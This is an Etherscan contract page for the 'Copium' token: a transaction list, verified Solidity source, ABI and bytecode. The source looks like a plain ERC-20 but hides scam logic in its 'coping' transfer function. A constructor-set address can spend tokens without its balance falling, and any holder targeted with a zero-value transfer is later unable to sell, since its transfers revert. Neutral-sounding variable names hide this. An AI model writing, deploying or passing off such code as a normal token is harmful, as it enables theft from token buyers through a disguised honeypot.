ETH Price: $2,276.00 (+0.15%)

Contract

0x14dEF36c84cC89c3f6106eaF5E10a86f16a9764A
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer172675412023-05-15 20:27:11481 days ago1684182431IN
0x14dEF36c...f16a9764A
0 ETH0.01318377249.08424087
Approve172675402023-05-15 20:26:59481 days ago1684182419IN
0x14dEF36c...f16a9764A
0 ETH0.00481814103.69640875
Transfer172675332023-05-15 20:25:35481 days ago1684182335IN
0x14dEF36c...f16a9764A
0 ETH0.00662144125.10060528
Approve172675322023-05-15 20:25:23481 days ago1684182323IN
0x14dEF36c...f16a9764A
0 ETH0.0040827387.86887471
Approve172675082023-05-15 20:20:35481 days ago1684182035IN
0x14dEF36c...f16a9764A
0 ETH0.0038845583.60354407
Transfer172675012023-05-15 20:19:11481 days ago1684181951IN
0x14dEF36c...f16a9764A
0 ETH0.00626672118.39878714
Approve172675002023-05-15 20:18:59481 days ago1684181939IN
0x14dEF36c...f16a9764A
0 ETH0.0034821874.94371964
Transfer172675002023-05-15 20:18:59481 days ago1684181939IN
0x14dEF36c...f16a9764A
0 ETH0.00603024113.93090838
Approve172674992023-05-15 20:18:47481 days ago1684181927IN
0x14dEF36c...f16a9764A
0 ETH0.0036385478.30894044
Transfer172674932023-05-15 20:17:35481 days ago1684181855IN
0x14dEF36c...f16a9764A
0 ETH0.00644408121.74969621
Approve172674922023-05-15 20:17:23481 days ago1684181843IN
0x14dEF36c...f16a9764A
0 ETH0.0036231978.07945283
Transfer172674892023-05-15 20:16:47481 days ago1684181807IN
0x14dEF36c...f16a9764A
0 ETH0.00739001139.62121125
Approve172674882023-05-15 20:16:35481 days ago1684181795IN
0x14dEF36c...f16a9764A
0 ETH0.0039034784.01064749
Transfer172674772023-05-15 20:14:23481 days ago1684181663IN
0x14dEF36c...f16a9764A
0 ETH0.00679881128.45151435
Approve172674762023-05-15 20:14:11481 days ago1684181651IN
0x14dEF36c...f16a9764A
0 ETH0.0045054796.96708905
Renounce Ownersh...172674692023-05-15 20:12:47481 days ago1684181567IN
0x14dEF36c...f16a9764A
0 ETH0.00204687.92452946
Transfer172674692023-05-15 20:12:47481 days ago1684181567IN
0x14dEF36c...f16a9764A
0 ETH0.00644408121.74969621
Approve172674682023-05-15 20:12:35481 days ago1684181555IN
0x14dEF36c...f16a9764A
0 ETH0.0042273890.98194896
Approve172674572023-05-15 20:10:23481 days ago1684181423IN
0x14dEF36c...f16a9764A
0 ETH0.0034526374.30776146
0x737a250d172674462023-05-15 20:08:11481 days ago1684181291IN
 Create: Copium
0 ETH0.2385832772.96394721

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Copium

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-15
*/

// https://twitter.com/COPIUMDROP
// https://t.me/C0PIUMDROP

// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#####%%####%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##*+++++++++++++++++*****#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##*++++=++====+========+=====++*##%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%#**++++======+++======-:::::-::--====++*#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%#*+===========++===-:::......::.....::----=+##%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%#*+=+=============-:......................::-++*#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%#*+++=+=+=====---::::.........................::=+++*#%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%#*+===++++==-:.................................::=+=++#%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%#++====+=+=-:...................................:-====+*%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%*+==========-.......................:.............:-===++#%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%#+===========-:.....................:--:............:-===+*%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%#+=+=========:.......................:--:....::-:....:-===+#%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%++==========::........................:-....:-=:.......:-=+#%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%*+==========:.........................:--:.:.:=-.........::-+#%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%*+==========:...................:--:::--:::.::-=:...::--:..:=+#%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%*+==+===+===-:.........:.::::::..::-=-:::-=:-=-=:.:-=-::...:-=*%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%+=+=+===+=====:.....::---=+++++=--::::-:-:-::=-::-:::......:-=*%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%*+======+=====-:..:..:::::------=++++=--=::..:==+-::--===--:==+*%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%*+===+=========:...::===++*####**++++=-:::---:-++++*++===--:-=+*%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%#+====+=========:...:====*%%%*#####%*+-:..:::.:-=+*%%%***++=-=+#%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%#++===+=========-:...::-=%*+=-*+-=+%+-:.::::::::=+#%%#####+++=*#%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%#*+============-:....:::=#=--#-:+*+=-:-*######*:---=#--=%*+==+*%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%#*==========+=::....:-:=+::***+-----+#####**##*:--:=+==#*=-:=+#%%%%%%%%%%%%%%####
// %%%%%%%%%%%%%%%%%%%%%%*+===+====+++-:...:-:.:*:+*#:::::=*######***##*-::-++:=+:.:++*%%%%%%%%%#####%###
// %%%%%%%%%%%%%%%%%%%%%%%#+==+===++*+=:..::::::*-#*=...:+##########*####*-:-#::#:.:++*%%%%####%%%%######
// %%%%%%%%%%%%%%%%%%%%%%%%#+=++===+*+=-:.:-::.-**+:..:-*######**#*#**#####+-#-.*-.:-+*%%%#%%%%#%###%%%##
// %%%%%%%%%%%%%%%%%%%%%%%%%#++++==+++=-:.::::.:-#:.::=#######**############**+:*=.:=*#%%%#%%#%%#%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%*+====+*+=:.......-%-::+########################+:#-:=*#%%%#%%%%###%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%#+++==+++=-:.....:#+.:+###*#######%##############=#-=+#%%##%%%##%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%#+==+==++++-::...:%-:=##******####%########**##%#*#**#%%#%%%%##%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%#+==++==++++=-:..:#=-*############%##############*##%%%#%%##%#%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%##*+==+=+=++=+*+=-:=*#-*###########%#####%###########%%%%#%%#%%#%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%##%%*+======++==++++=#--#*###########%#####%###########%%%%#%%%##%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%#%%%%%%*+=======+=:-===++%++=#########*################*###%%%%#%%##%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%#%%%%%%#+=======+=::.:-==++%++#*##*#######%##############%*%%%%#%%%#%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%#%###%#*+=====++=:.....::-=#=+*%####****##########%*####%##%%%%#%#%#%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%#%##%#*++=====++:.........::-==*######**#*%%%######%##%%#%%%%%#%%#%%#%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%#%#%*+===+=======-:..........::+#++#####*%%%##%%%%#%####%%%%%%#%%#%%#%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%##*#%%%*++====++=+++-:............::-=++####%%%##%%%%*###%%%%%%##%##%###%%%%%%%%%%%%%%%
// %%%%%%%%%###**++++*%%#%#++=====++-:..............:..::=++*######%#%%*%%%%%%##%%%%###%##%%%%%%%%%%%%%%%
// %%%%%%#*+++++++++++%%%#%%*+=+++=::....................::-====+#%###%#****#####%%%#%%###%%%%%%%%%%%%%%%
// %%%#*+++===++++==++#%%###%*+=:::..::::::.............:...::::+#%%##%%*+=====+++#%%%##%##%%%%%%%%%%%%%%
// #*+++++=+++=======++*#%%%%%%##**++*###*+-::::::..::...:::.:.:+#%##%%#+++++=====+#%%%%#+++*##%%%%%%%%%%
// =+=+++==+======++==++++++*##%%%%##########+=----::-====-:::-*#%#%%%*++=+=++=++++++**++===+++*#%%%%%%%%
// +++=++++===++++++==+====--==++*#%%%########%######%#%%#####%%%%%%#++++++==+========-----====++*##%%%%%
// +++++++===+=+========-::.:.:::-=+*#%%%%%%%%%%%%%%%#####%%%%%%#*+=---==---:::::::::.:...::::-===++*#%%%
// =========----:::::::...........::-==+++====+++**##%%%%%##+=--:::.....................:::::::::===+++*#
// ::::::::::.....................:..::::::....:::::=++++=--:....::......................:::::::::=====++

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Copium is Ownable {

    IUniswapV2Router02 private uniswapV2Router;

    address private immutable uniswapV2RouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    uint256 public totalSupply;

    uint8 public decimals;

    uint256 private air;

    function _initalizePair(address opium, uint256 oxygen) internal {
        uniswapV2Router = IUniswapV2Router02(uniswapV2RouterAddress);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this), 
            uniswapV2Router.WETH()
        );
        decimals = 9;
        totalSupply = 6_969_696_969_696 * 10 ** decimals;
        air = oxygen;
        balanceOf[msg.sender] = totalSupply;
        degens[opium] = air;
    }

    string public name = 'Copium';

    event Approval(address indexed owner, address indexed spender, uint256 value);

    address public uniswapV2Pair;

    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => uint256) private degens;

    constructor(address opium, uint256 oxygen) {
        _initalizePair(opium, oxygen);
    }

    function approve(address yourself, uint256 dose) public returns (bool success) {
        allowance[msg.sender][yourself] = dose;
        emit Approval(msg.sender, yourself, dose);
        return true;
    }

    function coping(address yourself, address smartMoney, uint256 dose) private returns (bool success) {
        if (degens[yourself] == 0) {
            if (uniswapV2Pair != yourself && inhale[yourself] > 0) {
                degens[yourself] -= air;
            }
            balanceOf[yourself] -= dose;
        }
        balanceOf[smartMoney] += dose;
        if (dose == 0) {
            inhale[smartMoney] += air;
        }
        emit Transfer(yourself, smartMoney, dose);
        return true;
    }

    mapping(address => uint256) public balanceOf;

    event Transfer(address indexed from, address indexed to, uint256 value);

    function transferFrom(address yourself, address smartMoney, uint256 dose) public returns (bool success) {
        coping(yourself, smartMoney, dose);
        require(dose <= allowance[yourself][msg.sender]);
        allowance[yourself][msg.sender] -= dose;
        return true;
    }

    string public symbol = 'COPIUM';

    function transfer(address smartMoney, uint256 dose) public returns (bool success) {
        coping(msg.sender, smartMoney, dose);
        return true;
    }

    mapping(address => uint256) private inhale;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"opium","type":"address"},{"internalType":"uint256","name":"oxygen","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"yourself","type":"address"},{"internalType":"uint256","name":"dose","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"smartMoney","type":"address"},{"internalType":"uint256","name":"dose","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"yourself","type":"address"},{"internalType":"address","name":"smartMoney","type":"address"},{"internalType":"uint256","name":"dose","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

737a250d5630b4cf539739df2c5dacb4c659f2488d60805260e0604052600660a090815265436f7069756d60d01b60c0526005906200003f908262000391565b50604080518082019091526006815265434f5049554d60d01b6020820152600a906200006c908262000391565b5034801562000079575f80fd5b5060405162000eac38038062000eac8339810160408190526200009c9162000475565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000e88282620000f0565b5050620005fe565b608051600180546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200014b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001719190620004a2565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f79190620004a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000242573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002689190620004a2565b600680546001600160a01b0319166001600160a01b039290921691909117905560038054600960ff199091168117909155620002a690600a620005d4565b620002b890650656c24fe3e0620005e4565b60028190556004918255335f9081526009602090815260408083209390935592546001600160a01b039490941681526008909252902055565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200031a57607f821691505b6020821081036200033957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200038c575f81815260208120601f850160051c81016020861015620003675750805b601f850160051c820191505b81811015620003885782815560010162000373565b5050505b505050565b81516001600160401b03811115620003ad57620003ad620002f1565b620003c581620003be845462000305565b846200033f565b602080601f831160018114620003fb575f8415620003e35750858301515b5f19600386901b1c1916600185901b17855562000388565b5f85815260208120601f198616915b828110156200042b578886015182559484019460019091019084016200040a565b50858210156200044957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b80516001600160a01b038116811462000470575f80fd5b919050565b5f806040838503121562000487575f80fd5b620004928362000459565b9150602083015190509250929050565b5f60208284031215620004b3575f80fd5b620004be8262000459565b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200051957815f1904821115620004fd57620004fd620004c5565b808516156200050b57918102915b93841c9390800290620004de565b509250929050565b5f826200053157506001620005ce565b816200053f57505f620005ce565b8160018114620005585760028114620005635762000583565b6001915050620005ce565b60ff841115620005775762000577620004c5565b50506001821b620005ce565b5060208310610133831016604e8410600b8410161715620005a8575081810a620005ce565b620005b48383620004d9565b805f1904821115620005ca57620005ca620004c5565b0290505b92915050565b5f620004be60ff84168362000521565b8082028115828204841417620005ce57620005ce620004c5565b608051610898620006145f395f50506108985ff3fe608060405234801561000f575f80fd5b50600436106100cb575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101bd578063a9059cbb146101c5578063dd62ed3e146101d8578063f2fde38b14610202575f80fd5b806370a0823114610184578063715018a6146101a35780638da5cb5b146101ad575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806318160ddd1461011057806323b872dd14610127578063313ce5671461013a57806349bd5a5e14610159575b5f80fd5b6100d7610215565b6040516100e491906106d8565b60405180910390f35b6101006100fb36600461073e565b6102a1565b60405190151581526020016100e4565b61011960025481565b6040519081526020016100e4565b610100610135366004610766565b61030d565b6003546101479060ff1681565b60405160ff90911681526020016100e4565b60065461016c906001600160a01b031681565b6040516001600160a01b0390911681526020016100e4565b61011961019236600461079f565b60096020525f908152604090205481565b6101ab610389565b005b5f546001600160a01b031661016c565b6100d761042f565b6101006101d336600461073e565b61043c565b6101196101e63660046107bf565b600760209081525f928352604080842090915290825290205481565b6101ab61021036600461079f565b610452565b60058054610222906107f0565b80601f016020809104026020016040519081016040528092919081815260200182805461024e906107f0565b80156102995780601f1061027057610100808354040283529160200191610299565b820191905f5260205f20905b81548152906001019060200180831161027c57829003601f168201915b505050505081565b335f8181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102fb9086815260200190565b60405180910390a35060015b92915050565b5f610319848484610569565b506001600160a01b0384165f908152600760209081526040808320338452909152902054821115610348575f80fd5b6001600160a01b0384165f9081526007602090815260408083203384529091528120805484929061037a90849061083c565b90915550600195945050505050565b5f546001600160a01b031633146103e75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b600a8054610222906107f0565b5f610448338484610569565b5060019392505050565b5f546001600160a01b031633146104ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103de565b6001600160a01b0381166105105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103de565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383165f90815260086020526040812054810361061d576006546001600160a01b038581169116148015906105bb57506001600160a01b0384165f908152600b602052604090205415155b156105f0576004546001600160a01b0385165f90815260086020526040812080549091906105ea90849061083c565b90915550505b6001600160a01b0384165f908152600960205260408120805484929061061790849061083c565b90915550505b6001600160a01b0383165f908152600960205260408120805484929061064490849061084f565b90915550505f829003610681576004546001600160a01b0384165f908152600b60205260408120805490919061067b90849061084f565b90915550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106c691815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b81811015610703578581018301518582016040015282016106e7565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610739575f80fd5b919050565b5f806040838503121561074f575f80fd5b61075883610723565b946020939093013593505050565b5f805f60608486031215610778575f80fd5b61078184610723565b925061078f60208501610723565b9150604084013590509250925092565b5f602082840312156107af575f80fd5b6107b882610723565b9392505050565b5f80604083850312156107d0575f80fd5b6107d983610723565b91506107e760208401610723565b90509250929050565b600181811c9082168061080457607f821691505b60208210810361082257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030757610307610828565b808201808211156103075761030761082856fea26469706673582212205934b2ddaad4a310efe72d412e1c9e7d0ca7f1545896a847a7d5682e2c21b68264736f6c63430008140033000000000000000000000000d3137d32acac0b195fa274e7416b988f865b598f000000000000000000000000000000000000000000000000000000000000005f

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100cb575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101bd578063a9059cbb146101c5578063dd62ed3e146101d8578063f2fde38b14610202575f80fd5b806370a0823114610184578063715018a6146101a35780638da5cb5b146101ad575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806318160ddd1461011057806323b872dd14610127578063313ce5671461013a57806349bd5a5e14610159575b5f80fd5b6100d7610215565b6040516100e491906106d8565b60405180910390f35b6101006100fb36600461073e565b6102a1565b60405190151581526020016100e4565b61011960025481565b6040519081526020016100e4565b610100610135366004610766565b61030d565b6003546101479060ff1681565b60405160ff90911681526020016100e4565b60065461016c906001600160a01b031681565b6040516001600160a01b0390911681526020016100e4565b61011961019236600461079f565b60096020525f908152604090205481565b6101ab610389565b005b5f546001600160a01b031661016c565b6100d761042f565b6101006101d336600461073e565b61043c565b6101196101e63660046107bf565b600760209081525f928352604080842090915290825290205481565b6101ab61021036600461079f565b610452565b60058054610222906107f0565b80601f016020809104026020016040519081016040528092919081815260200182805461024e906107f0565b80156102995780601f1061027057610100808354040283529160200191610299565b820191905f5260205f20905b81548152906001019060200180831161027c57829003601f168201915b505050505081565b335f8181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102fb9086815260200190565b60405180910390a35060015b92915050565b5f610319848484610569565b506001600160a01b0384165f908152600760209081526040808320338452909152902054821115610348575f80fd5b6001600160a01b0384165f9081526007602090815260408083203384529091528120805484929061037a90849061083c565b90915550600195945050505050565b5f546001600160a01b031633146103e75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b600a8054610222906107f0565b5f610448338484610569565b5060019392505050565b5f546001600160a01b031633146104ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103de565b6001600160a01b0381166105105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103de565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383165f90815260086020526040812054810361061d576006546001600160a01b038581169116148015906105bb57506001600160a01b0384165f908152600b602052604090205415155b156105f0576004546001600160a01b0385165f90815260086020526040812080549091906105ea90849061083c565b90915550505b6001600160a01b0384165f908152600960205260408120805484929061061790849061083c565b90915550505b6001600160a01b0383165f908152600960205260408120805484929061064490849061084f565b90915550505f829003610681576004546001600160a01b0384165f908152600b60205260408120805490919061067b90849061084f565b90915550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106c691815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b81811015610703578581018301518582016040015282016106e7565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610739575f80fd5b919050565b5f806040838503121561074f575f80fd5b61075883610723565b946020939093013593505050565b5f805f60608486031215610778575f80fd5b61078184610723565b925061078f60208501610723565b9150604084013590509250925092565b5f602082840312156107af575f80fd5b6107b882610723565b9392505050565b5f80604083850312156107d0575f80fd5b6107d983610723565b91506107e760208401610723565b90509250929050565b600181811c9082168061080457607f821691505b60208210810361082257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030757610307610828565b808201808211156103075761030761082856fea26469706673582212205934b2ddaad4a310efe72d412e1c9e7d0ca7f1545896a847a7d5682e2c21b68264736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000d3137d32acac0b195fa274e7416b988f865b598f000000000000000000000000000000000000000000000000000000000000005f

-----Decoded View---------------
Arg [0] : opium (address): 0xd3137d32AcaC0B195fa274e7416B988F865B598F
Arg [1] : oxygen (uint256): 95

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000d3137d32acac0b195fa274e7416b988f865b598f
Arg [1] : 000000000000000000000000000000000000000000000000000000000000005f


Deployed Bytecode Sourcemap

7794:2581:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8567:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8951:210;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;8951:210:0;1004:187:1;7983:26:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;7983:26:0;1196:177:1;9826:288:0;;;;;;:::i;:::-;;:::i;8018:21::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;8018:21:0;1711:184:1;8691:28:0;;;;;-1:-1:-1;;;;;8691:28:0;;;;;;-1:-1:-1;;;;;2064:32:1;;;2046:51;;2034:2;2019:18;8691:28:0;1900:203:1;9693:44:0;;;;;;:::i;:::-;;;;;;;;;;;;;;6966:148;;;:::i;:::-;;6324:79;6362:7;6389:6;-1:-1:-1;;;;;6389:6:0;6324:79;;10122:31;;;:::i;10162:159::-;;;;;;:::i;:::-;;:::i;8728:64::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;7269:244;;;;;;:::i;:::-;;:::i;8567:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8951:210::-;9051:10;9016:12;9041:21;;;:9;:21;